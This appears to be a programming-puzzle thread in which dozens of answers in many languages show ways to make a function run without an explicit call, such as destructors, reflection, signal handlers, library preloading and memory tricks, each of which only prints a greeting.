    std::set_terminate(the_function);
    try
    {
        X x;
        throw 1;
    }
    catch (...)
    {
        std::cout << "Can't catch this!\n";
    }
}

```
> 3 votes

# Answer
# Javascript

I feel like this doesn't explicitly look like it is calling the function

```
window["false"] =  function() { alert("Hello world"); }
window[![]]();

```
> 3 votes

# Answer
# C# (via `using`)

```
using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

```
> 3 votes

# Answer
## Java

```
package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

```

I'm taking advantage of a special feature of Java serialization. The `readObject` method is invoked when an object is deserialized, but it's not directly called - not by my code, nor by the deserialization library. If you dig deep into the source, you'll see that at a low level the method is internally called via reflection.
> 3 votes

# Answer
# Perl

This is so easy. The code below automatically runs code in subroutine, even without explicit call.

```
sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

```

Even if you uncomment the call, it will still be called just once.
> 3 votes

# Answer
# C (with inline asm)

```
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    _asm push the_function;
    _asm ret;
}

```
> 3 votes

# Answer
## Groovy

By using an object's meta class you can override the toString method and call any method you choose in the closure. When outputting an object with System.out.print, by default the object's toString() method is called. Effectively using a standard Java function's default behaviour to execute your code, without a named call to the method.

```
class Job {
    String title

    @Override
    public String toString(){ title }
}

Job.metaClass.toString = { -> "Software Engineer".toUpperCase() }

def job = new Job(title:"Developer")

println job

```
> 3 votes

# Answer
## Perl

In Perl, to call a method "foo" you'd normally do this:

```
$obj->foo($arg);

```

The `UNIVERSAL` class, which all classes inherit from (equivalent to, say, `java.lang.Object` in Java) provides a method called `can` which can be called to figure out if a class has a named method. So to find out if `$obj` has a method called `foo`, you'd do this:

```
if ($obj->can("foo")) { ... }

```

Now, Perl doesn't have a built-in boolean datatype. To indicate false, you can use `undef`, the number 0, the empty string, the string `"0"`, or an object overloading boolification. I can't remember which `can` does... for the purposes of this answer it doesn't matter. But to indicate truth `can` returns a reference (pointer) to the method's code.

This can then be called, passing the object itself as the first parameter:

```
$obj->can("foo")->($obj, $arg);   # roughly the same as: $obj->foo($arg)

```

OK, let's make things a little more convoluted. The B::Deparse module can take a reference to a function and return a string of Perl code representing the body of the function. Assuming that the string didn't close over any variables (and method definitions usually don't) we can then `eval` that string to execute it.

The one trick we need to do first is place the arguments the code needs (including the object itself) into the global array `@_`. So our method call becomes this:

```
do {
   require B::Deparse;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);

   local @_ = ($obj, $arg);
   eval $perl_string;
};

```

But if we've got that code in a string, why not place it into a file and run it?

```
do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

```

Anyway, here's the whole thing as a script:

```
#!/usr/bin/env perl

use v5.14;
use warnings;

package Answerer {
   sub new {
      bless {}, shift;
   }
   sub foo {
      my ($self, $n) = @_;
      return 40 + $n;
   }
}

my $obj = Answerer->new;
my $arg = 2;

my $answer = do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

say $answer;

```
> 2 votes

# Answer
# Ruby 1.9

```
c = class SomeClass

define_method(:some_method_name) {|arg|
  s = "Some method called on #{arg}"
  puts s}
end

if c === 'some class'
  puts 'Comparison of class to string succeeded, somehow'
end

```

> Outputs "Some method called on some class". Never trust indentation. Unless it's Python.

Edit: See it live
> 2 votes

# Answer
# C

```
#include <stdio.h>
#include <string.h>

int __cdecl answer () {
  return 42;
}

int __cdecl multiply (int a, int b) {
  return a * b;
}

int main () {
  memcpy(multiply, answer, multiply - answer);
  printf("%i\n", multiply(6, 9));
}

```

Compile with `gcc -O0 -N`. The `-N` option is an undocumented linker option that makes the `.text` section writable.

Your antivirus software might pick it up when you compile it.
> 2 votes

# Answer
## Javascript

Well, there is an obvious solution in Javascript that I did not see posted. Maybe it is invalid, but I will post it anyway:

```
(function bla() { alert('Hello!'); })();

```
> 2 votes

# Answer
# Python

```
>>> def foo(*args, **kwargs):
...     print "%d args, %d kwargs" % (len(args), len(kwargs))
...
>>> foo()
0 args, 0 kwargs
>>> foo(a=1)
0 args, 1 kwargs

```

then

```
>>> def indirect(name, *args, **kwargs):
...     globals()[name].__call__(*args, **kwargs)
...
>>> indirect('foo', 1, 2, a=1)
2 args, 1 kwargs
>>> indirect('of'[1]+'of'[0]*2, 1, 2, a=1)
2 args, 1 kwargs

```
> 2 votes

# Answer
# Preloading (DYLD\_INSERT\_LIBRARIES) on OSX

`main.c`:

```
#include <stdio.h>

int main(int argc, char** argv)
{
    return 0;
}

```

`lib.c`:

```
#include <stdio.h>
static void __attribute__ ((constructor)) lib_init(void);
static void lib_init(void) {
    printf("Hi there!\n");
}

```

building:

```
$ gcc main.c
$ gcc -dynamiclib -o preload.dylib lib.c

```

test:

```
$ ./a.out
$ DYLD_INSERT_LIBRARIES=preload.dylib ./a.out
Hi there!
$ DYLD_INSERT_LIBRARIES=preload.dylib whoami
Hi there!
damien

```
> 2 votes

# Answer
# Java, based on the SnakeYAML logic :P

if you know how SnakeYAML serializes you know how the method is called :P

```
class callme
{
    public static void main(String[]a)
    {
        new org.yaml.snakeyaml.Yaml().dump(new callme());
    }
    public void setXXX(String xxx){};
    public String getXXX()
    {
        System.out.println("who called me???");
        return "";
    }
}

```
> 2 votes

# Answer
# Lua

```
mt = {__index = function(x) print("Who ordered that?"); end}
setmetatable(mt, mt);
i = mt.nonExistantValue;

```

prints

```
Who ordered that?

```

The \__index function of a Lua metatable is called if a table is indexed with a value it doesn't contain. `i` is still `nil` at the end of the assignment.

Bonus points for recognizing the quotation!
> 2 votes

# Answer
## Bash

Self-modifying script

```
#!/bin/bash
function command_not_found_handle () {
 echo -e ""
}
function hiddentrait {
 echo "I have a superpower!"
 echo "# hidden again" >> $0
}

echo -n "hiddentrait" >> $0

```

And if you see the code after an execution, the hiddentrait function is not being called either, disabled by making it a bad identifier (`hiddentrait#`).
> 2 votes

# Answer
# Lua

Cause its such a great language. You can test the code here.

```
function i() print "Hello World" end
f = setmetatable({}, { __index = _G["\105"] })
q = f[42]

```

This will print `Hello World`
> 2 votes

# Answer
## C#

In C#, the property has an implied getter and setter

```
int a { get; set;}
a = 2;

```

This will internally call the setter method set to store the value of 2 in a. IMHO this is a shortest sample of code.
> 2 votes

# Answer
# PHP

```
<?php register_shutdown_function("print_r", "Hello World!");

```

This code prints `Hello World!`.

I'm indirectly calling `print_r` (the rules doen't says I have to define a function, so I'm just using a native one). `register_shutdown_function` just calls the method when the program has ended.
> 2 votes

# Answer
# Delphi XE3

Not sure if this is allowed but its not a direct call.
Defined a class, created it and destroyed it. The destructor isnt called directly.

```
type TMyType=class
  destructor Destroy;Override;
end;
var
  x:TMyType;
destructor TMyType.Destroy;
begin
  writeln('muhaha')
end;

begin
  x:=TMyType.Create;
  x.free;
end.

```
> 2 votes

# Answer
# C

Involves heavy usage of #defines. You aren't calling it directly when it looks like you are calling a function called a rather than foo.

```
#include <stdio.h>
#define a bb
#define b cd
#define c fe
#define d ee
#define e og
#define g ho
#define h ii
#define ii o
#define ooo o

void foo() {
    printf("foo");
}
int main() {
    a();
}

```
> 2 votes

# Answer
Heres some assembly

```
[BITS 64]

global main

main:
    xor rax, rax    ; Set to zero
    xor rcx, rcx    ; Set to zero
    inc rax         ; increment to 1
    cmp rax, rcx
    je done         ; If they are equal, go to done

; Some function
unused_function:
    inc rcx
    cmp rax, rcx
    je main
ret             ; return from function being called

done:
ret             ; return from program

```

This can be compiled and run like so:

```
nasm -f elf64 -o file.o file.asm
gcc file.o -o file
./file

```

It ends up running an infinite loop. After the first `cmp rax, rcx`, they are not equal, and thus the program doesn't jump to `done`. Execution runs through to the function, which is declared below.
> 2 votes

# Answer
## PHP

```
<?php

function super_secret()
{
    echo 'Halp i am trapped in comput0r';
}

function run()
{
    preg_match_all('~\{((.*?))\}~s', file_get_contents(@reset(reset(debug_backtrace()))), $x) && eval(trim(@reset($x[1])));
}

run();

```

This really really doesn't call the method. The backtrace is read to find out the file currently executing, we get the contents of the file as a string, then use a regex to cut the first statement out of the `super_secret()` method, then eval it.

The `@` suppresses errors on the calls to `reset()`, as you're only supposed to use it on references.
> 2 votes

# Answer
## ActionScript

In Actionscript 2 or 3 using the Flash GUI, place the function in a key frame:

```
// frame 2 labeled "func"
function hello() {
   trace("Hi");
   stop();
}

// frame 3
gotoAndPlay("func");

```
> 1 votes

# Answer
## Java

```
public class Temp {
    public static void main(String[] args) throws Exception {
        Temp.class.getMethod("main", String[].class).invoke(null, new Object[]{null});
    }
}

```

Not calling a method explicitly, but under the Java hood.

Also posted in Weirdest way to produce a stack overflow
> 1 votes

# Answer
# PHP 4 and up

```
function hello_world()
{
        echo "Hello, world!\n";
}

register_shutdown_function('hello_world');

```
> 1 votes

# Answer
## Python

Python - `Try and Except`

```
 import sys
 try:
      print c
  except NameError, SyntaxError:
      print "Oh No!"

```

Not sure if this is allowed. If it's not, then I will delete it.
> 1 votes

# Answer
# C++

This program works by opening its own source file, extracting the desired function, writing it to a new source file (which prints the result), compiling it, then executing it and reading its output.

```
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;

//=== here's all our "callable" functions ===

int add (int a, int b) {
    return a + b;
}

int indexof (const char *str, char c) {
    for (int n = 0; str[n]; ++ n) {
        if (str[n] == c)
            return n;
    }
    return -1;
}

const char * addsuffix (int n) {
    static char buffer[20];
    switch (n % 10) {
      case 1: sprintf(buffer, "%dst", n); break;
      case 2: sprintf(buffer, "%dnd", n); break;
      default: sprintf(buffer, "%dth", n); break;
    }
    return buffer;
}

//=== end of "callable" functions ===

int count (const char *s, int c) {
    int n = 0;
    while (*s)
        n += (*(s ++) == c);
    return n;
}

template <typename ReturnType>
ReturnType icall (const char *fn, const char *p) {

    // generate output

    ifstream me(__FILE__);
    ofstream out("temp~.cpp");
    char line[1000];
    int infunc = 0;

    while (!me.eof()) {
        me.getline(line, sizeof(line));
        if (!strncmp(line, "#include", 8))
            out << line << endl;
        else if (!strncmp(line, "using", 5))
            out << line << endl;
        else {
            if (!infunc) {
                char *fname = strstr(line, fn);
                if (fname) {
                    infunc += 1;
                    *fname = 0;
                    out << line << "oneTrickPony" << (fname + strlen(fn)) << endl;
                    *fname = ' ';
                }
            } else {
                out << line << endl;
            }
            if (infunc)
                infunc += count(line, '{') - count(line, '}');
            if (strchr(line, '}') && infunc == 1)
                break;
        }
    }

    out << "int main () { cout << oneTrickPony(" << p << "); }" << endl;
    out.close();

    // compile output

    system("g++ temp~.cpp -o temp~.exe"); // exe suffix ok on linux

    // execute output
    FILE *res = popen("temp~.exe", "r");
    fgets(line, sizeof(line), res);
    pclose(res);

    // parse output

    ReturnType rval;
    stringstream rss(line);
    rss >> rval;
    return rval;

}

#define call(rt,fn,p...) icall<rt>(fn, #p)

int main () {

    // call functions and store results
    int resulta = call(int, "add", 14, 99);
    int resultn = call(int, "indexof", "abcdefg", 'e');
    string results = call(string, "addsuffix", 1);

    // print results
    cout << resulta << endl
        << resultn << endl
        << results << endl;

}

```

The `icall` function is responsible for doing all the dirty work; the template type is the return type and is used for parsing the output into a usable value. The `call` macro exists to allow us to write a variable number of function parameters to the generated source file. The calls are made in `main`:

```
  // call functions and store results
  int resulta = call(int, "add", 14, 99);
  int resultn = call(int, "indexof", "abcdefg", 'e');
  string results = call(string, "addsuffix", 1);

```

Requires gcc. Tested on MinGW.

Supports:

1. Any return types supported by the `istream` `>>` operator.
2. Runtime function names.
3. Any number of parameters, of any type.

Does not support:

1. Non-constant function parameters. This is a tradeoff for number 3 and also for brevity. I could add support for this by dropping the macro and using more templates, but I didn't want to add too much code to distract from the general idea.
2. Functions with `void` return types. A specialized `icall` that does not parse the returned value would allow this. Again, didn't go *too* crazy.

A little messy but gets the job done. It's pretty good at parsing itself but will fail under certain conditions (e.g. if a curly brace appears in a string, or the function name appears before the function in another context... I didn't really want to implement a full-on C++ parser...).

Here is an example generated file for a call to `indexof`:

```
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;
int oneTrickPony (const char *str, char c) {
  for (int n = 0; str[n]; ++ n) {
    if (str[n] == c)
      return n;
  }
  return -1;
}
int main () { cout << oneTrickPony("abcdefg", 'e'); }

```
> 1 votes

# Answer
# C

Uses `nm` to read the executable and find the function address, then calls it.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *me; // name of binary
int counter = 0; // just to demonstrate side-effects

// our callable functions

int itis (const char *p) {
  counter += strlen(p);
  printf("it's %s.\n", p);
  return 128;
}

int notreally (const char *p) {
  counter -= strlen(p);
  printf("i want to say it's %s, but it's not.\n", p);
  return 42;
}

typedef int (* ptr) (const char *);

// use nm to find address of function by name, then call it and
// return its return value.
int callbyname (const char *name, const char *p) {

  ptr fnptr = NULL;

  char buf[1000];
  sprintf(buf, "nm -C %s", me);
  FILE *f = popen(buf, "r");

  while (fgets(buf, sizeof(buf), f)) {
    if (strstr(buf, name)) {
      fnptr = (ptr)strtoul(buf, NULL, 16);
      break;
    }
  }

  pclose(f);

  return fnptr ? fnptr(p) : 0;

}

int main (int argc, char **argv) {

  me = argv[0];
  const char *words[] = { "awesome", "cool", "kick-ass", "the shizzle" };
  const char *names[] = { "itis", "notreally" };
  int n;

  srand(time(NULL));
  for (n = 0; n < sizeof(words)/sizeof(char*); ++ n) {
    const char *name = names[rand() % (sizeof(names)/sizeof(char*))];
    int r = callbyname(name, words[n]);
    printf("^ %i %i\n", r, counter);
  }

  return 0;

}

```

Compile with `gcc -O0`. The work is done in `callbyname`. The `nm` utility is required.

On Windows you must include the `.exe` suffix in the command when you run it, as `argv[0]` is used to determine the executable's filename.

This is basically the same as taking the address of a function, but it uses `nm` instead. Can be used with any function as long as it's called through the correct function pointer type.
> 1 votes

# Answer
# AutoHotkey

Here are four distinct ways of indirectly calling a function

```
;built in indirect function call
funcy := Func("func2Call")
funcy.()

;register this function so that it can be called from any program, then call it as if it's a DLL
funcy := RegisterCallback("func2Call")
DllCall(funcy)

;as error handler
try
    throw
catch
    func2call()

;as default method of default base object
r.base.__Call := func("func2Call")

randomString.randomFuncName()

func2Call()
{
    MsgBox, Don't call this number ever again!!
}
```
> 1 votes

# Answer
# Javascript

It's not pretty:

```
function myFun(arg) {
    alert("Called with "+arg);
}

// To "call" that with the argument 'toast':

var arg1 = 'toast';
eval("("+ myFun.toString() +")(arg1)");

```

From an unloved answer by Engineer.

We are still calling a function, but arguably not the original function - we are calling a new function we created using the source code of the original.

An alternative might be to strip the function wrapper around `myFun.toString()` and eval the function's body code directly, but then there are complications passing it the correct arguments.
> 1 votes

# Answer
## Ruby

Probably it doesn't get enough attention, but in some languages we don't have methods/functions. Instead of that we have messages. Example:

```
send(:puts, 'Lol')

```
> 1 votes

# Answer
# C

Signal handling:

```
#include <stdlib.h>
#include <stdio.h>

void fun(int) {
  puts("fun()");
  exit(0);
}

int main() {
  int *null = 0;

  signal(SIGSEGV, &fun);

  printf("%d", *null);
}

```
> 1 votes

# Answer
# Python 3:

```
import reprlib

class Repr(reprlib.Repr):
    def repr_module(self, obj, level):
        return "How?"

print(Repr().repr(__import__("antigravity")))

```

http://docs.python.org/3.1/library/reprlib.html
> 1 votes

# Answer
# Scala using reflection

```
class Shy {
  private def AhaYouWillNeverCallMe() = println("Argh you found me.")
}

classOf[Shy].getDeclaredMethods.map(
  knowledge => { knowledge.setAccessible(true);
  knowledge }).head.invoke(new Shy)

```

# Scala using implicits

```
implicit def YouShouldNotWakeMeUp(i: String) = { println("Ok ok I wake up"); 1}
1/""

```
> 1 votes

# Answer
# Python

```
import threading

def hello():
    print('Hello, world!')

threading.Thread(target=hello).start()

```
> 1 votes

# Answer
# C (With GCC inline asm)

```
#include <stdio.h>
#include <stdlib.h>

void the_function(void)
{
    __asm__ volatile ("boo:");
    printf("Hi there!\n");
}

int main(void)
{
    __asm__ volatile ("jmp boo");
    return 0;
}

```
> 1 votes

# Answer
# Bash

If you want to have a good day, just type this as the first thing when you wake up. You will never feel sad after that.

```
trap 'echo Hello world' CHLD

```
> 1 votes

# Answer
## Dart

This calls `nope()` when calling the non-existing function `yep()`.

```
import "dart:mirrors";

void main() {
  new Nope().yep(text:"nope");
}

class Nope {

  void noSuchMethod(Invocation invocation){
    final Symbol s = new Symbol(invocation.namedArguments[#text]);
    final InstanceMirror mirror = reflect(this);
    mirror.invoke(s, []);
  }

  void nope() {
    print("Nope!");
  }
}

```
> 1 votes

# Answer
# C#

**Garbage collection:**

```
void Main()
{
    var t = new Test();
    t = null;
    GC.Collect();
}

public class Test
{
    public Test()
    {
        Console.WriteLine("Constructor called!");
    }

    ~Test()
    {
        ImplicitCall();
    }

    private void ImplicitCall()
    {
        Console.WriteLine("ImplicitCall invoked...");
    }
}

```

**Inheritance:**

This also uses the Garbage Collector but much more implicit.

```
void Main()
{
    var d = new Derived();
}

class Base
{
    void Foo()
    {
        Console.Write("Foo!");
    }

    ~Base()
    {
        Foo();
    }
}

class Derived : Base
{
}

```
> 1 votes

# Answer
# Java

Another Java Solution:

```
package callmethod;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
 *
 * @author aigon89
 */
public class CallMethod {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        CallMethod callMethod = new CallMethod();
        // Calls helloWorld without calling it :O
        Method m = callMethod.getClass().getMethod("helloWorld", null);
        m.invoke(callMethod, null);
    }

    public void helloWorld(){
        System.out.println("Hello World");
    }
}

```
> 1 votes

# Answer
## Emacs Lisp

```
(defun hello (x) (insert "hello!"))

(let ((standard-output 'hello))
   (print "hi"))

```

When ran it inserts "hello!" into the current buffer 7 times, then returns the string "hi"
> 1 votes

# Answer
# Java

Here are a few similar ideas:

### toString:

```
public class Call {
    @Override
    public String toString() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) {
        String s = "foo" + new Call();
    }
}

```

### hashCode:

```
import java.util.HashMap;

public class Call {
    @Override
    public int hashCode() {
        System.out.println("hi");
        return 0;
    }

    public static void main(final String... args) {
        new HashMap<Call, String>().put(new Call(), "bar");
    }
}

```

### finalize:

```
public class Call {
    @Override
    protected void finalize() {
        System.out.println("hi");
    }

    public static void main(final String... args) {
        new Call();
        System.gc();
    }
}

```

### writeReplace:

```
import java.io.*;

public class Call implements Serializable {
    private Object writeReplace() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) throws IOException {
        new ObjectOutputStream(new ByteArrayOutputStream()).writeObject(new Call());
    }
}

```
> 1 votes

# Answer
# Javascript

```
!function(s){ alert(s) }("hi")

```

Just wondering if calling an anonymous function is call it without calling it.
> 1 votes

# Answer
Constructors, technically, are methods. So, I can just extend a class and the super constructor is automatically called without me having it "explicitly" called in my code.

Ex:

```
//SampleClass.java
class SampleClass {

    public SampleClass() {
        System.out.println("Constructor called");
    }
}

```

---

```
//MainClass.java
public class MainClass extends SampleClass
{
    public static void main(String[] args)
    {
        System.out.println("Hello, World!");
        new MainClass();
    }
}

```

\[Disclosure: Thought of it together with a friend of mine\]
> 1 votes

# Answer
# C#

Why here is a wonderful program that compiles in safe mode, uses a horribly unsafe buffer overflow treats an array like a buffer, and abuses some quirks of the CLR. This works in x86 C#. A similar exploit can be done for x64 and is left as an exercise for the reader.

```
[StructLayout(LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [FieldOffset(0)]
    public readonly Byte[] bytes;
    [FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[13]);
    static Action a = ()=>Console.WriteLine("Somehow I was called?");
    static void Main(string[] args)
    {
        var f = Marshal.GetDelegateForFunctionPointer((IntPtr)u.ints[12], typeof(Action)) as Action;
        f();
        Console.ReadLine();
    }
}

```

The reason this works is that CLR allocates primitive struct type arrays as contiguous blocks. This is why you are allowed to cast a `int[]` to a `uint[]` via using an object first. The CLR however, will NOT allow you to normally cast a `byte[]` to an `int[]`. However, this Union class is COMPLETELY evil, and allows us to trick the CLR into treating the `byte[]` as an `int[]`. Basically we're back to pointer land now.

What's more fun is the CLR inserts a bound check on this access of the `byte[]` and still goes and does an access way out of the bounds of the array at this point. The executable code is located shortly after the accessible variable space. We then read it and then execute the function. This btw is horribly evil and if you do this in code I hate you.
> 1 votes

# Answer
# C#

Similar to my previous answer but even more insane and looking a lot more like standard csharp :)

```
namespace WTF
{
[System.Runtime.InteropServices.StructLayout(
System.Runtime.InteropServices.LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly byte[] bytes;
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[133]);
    static System.Action methodToCall = () => System.Console.WriteLine("I Should be called!");
    static System.Action methodNotToCall = () => System.Console.WriteLine("But I was instead!");
    static void Main(string[] args)
    {
        u.ints[42] = u.ints[50];
        methodToCall();
    }

}
}

```

While the previous code used pointers which is gross, this method is far worse. Here we rewrite the content of the content of the delegate's pointer to code with the content of method not to call by seemingly assigning a random empty array element to another element. As always don't try this at home kids.
> 1 votes

# Answer
# C

I guess this is rather silly, but doesn't this fit the criteria?

```
#include <stdio.h>

int main(void){
    puts("Wow, nobody called me but I'm executing!");
}

```
> 1 votes

# Answer
# ForceLang with the Javascript module

```
cons js require njs
def wr io.write
set str "Hello, World!"
js function f(a){print("Hi");return null;}
js (function(){var io=Java.type("lang.ForceLang").parse("io");var mfield=Java.type("lang.FObj").class.getDeclaredField("fields");mfield.setAccessible(true);var map=mfield.get(io);map["put"](String.fromCharCode(119,114,105,116,101),new (Java.type("lang.Function"))(f))})()
wr str

```
> 0 votes

# Answer
## GNU sed

There is a beautiful way to do this in sed. In fact, when writing programs you could easily fall into this trap without realizing. I already had a post on Tips for golfing in sed documenting this *feature*.

```
s/$/bar/
s/foo/&/
t foo_found()
b

:foo_found()
p

```

**Run:** sed -nf function\_call.sed \<\<\< ""

The `foo_found()` function is called when a search for `foo` is successful anywhere in the pattern space. The first line of code writes `bar` into the pattern space, previously empty. However, it will also indirectly, and surprisingly, help in calling the function `foo_found()`!

When the first line is commented out, the function is not called, as it was meant in the first place.
> 0 votes

# Answer
# Ruby

Prints `But who was call?`.

```
begin
  exit

  def my_method
    $>.puts "But who was call?"
  end

rescue \
  class << $!
    self
  end

  DATA.instance_eval do
    system gets
    send eval read << (read if seek $? >> 8)
  end
end

__END__
exit 13
begin

```

Alternatively...

```
include Enumerable

def each
  puts "But who was call?"
end

[*self]

```
> 0 votes

# Answer
# PHP

```
$print=function(){print('Hello World!');}
$print('Goodbye.');

```

in shrinked code, it is quite easy to miss the `$` before the print.

and without the variable name in the code, let´s obfuscate a bit:

```
for($cc=64;++$cc<91;)${chr($cc);}=chr($cc);$p=$pr;$i=$in;
${"$p$i$t"}=function(){print('Hello World!');}
$print('Goodbye.');

```
> -1 votes

---
Tags: popularity-contest, function
---